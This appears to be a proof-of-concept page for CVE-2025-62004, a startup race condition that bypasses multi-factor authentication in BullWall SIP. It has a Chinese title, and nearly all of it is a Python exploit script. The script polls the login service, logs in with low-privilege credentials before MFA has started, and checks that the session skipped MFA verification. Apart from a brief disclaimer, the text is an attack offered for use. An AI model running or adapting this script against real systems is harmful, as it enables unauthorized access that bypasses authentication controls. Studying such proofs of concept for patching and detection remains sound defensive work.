CVE-2025-62004 BullWall SIP 启动时序认证绕过漏洞

# CVE-2025-62004 BullWall SIP Authentication Bypass PoC # This PoC demonstrates the timing window for bypassing SIP MFA # Note: This is for educational and authorized testing purposes only import time import requests from datetime import datetime TARGET_HOST = "https://target-bullwall-server" USERNAME = "low_privilege_user" PASSWORD = "user_password" def check_sip_mfa_status(): """Check if SIP MFA service is running""" try: response = requests.get(f"{TARGET_HOST}/api/sip/status", timeout=5) if response.status_code == 200: data = response.json() return data.get('mfa_active', False) except: pass return False def check_login_service_status(): """Check if login service is available""" try: response = requests.get(f"{TARGET_HOST}/api/auth/status", timeout=5) if response.status_code == 200: return True except: pass return False def exploit_timing_window(): """Exploit the race condition during startup""" print(f"[*] Starting timing attack at {datetime.now()}") # Wait for login service to be available print("[*] Waiting for login service...") while not check_login_service_status(): time.sleep(1) print("[+] Login service is available") # Immediately attempt login before SIP MFA starts print("[*] Attempting login before SIP MFA initialization...") login_data = { 'username': USERNAME, 'password': PASSWORD } try: response = requests.post( f"{TARGET_HOST}/api/auth/login", json=login_data, timeout=10 ) if response.status_code == 200: session_token = response.json().get('session_token') print(f"[+] Login successful, session: {session_token}") # Verify session bypasses MFA verify_response = requests.get( f"{TARGET_HOST}/api/sip/session/verify", headers={'Authorization': f'Bearer {session_token}'} ) if verify_response.status_code == 200: print("[+] Session established WITHOUT MFA verification") print("[*] SIP MFA status check:", check_sip_mfa_status()) return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62004 BullWall SIP Timing Attack PoC") print("="*60) result = exploit_timing_window() print(f"\n[*] Exploit {'SUCCESSFUL' if result else 'FAILED'}")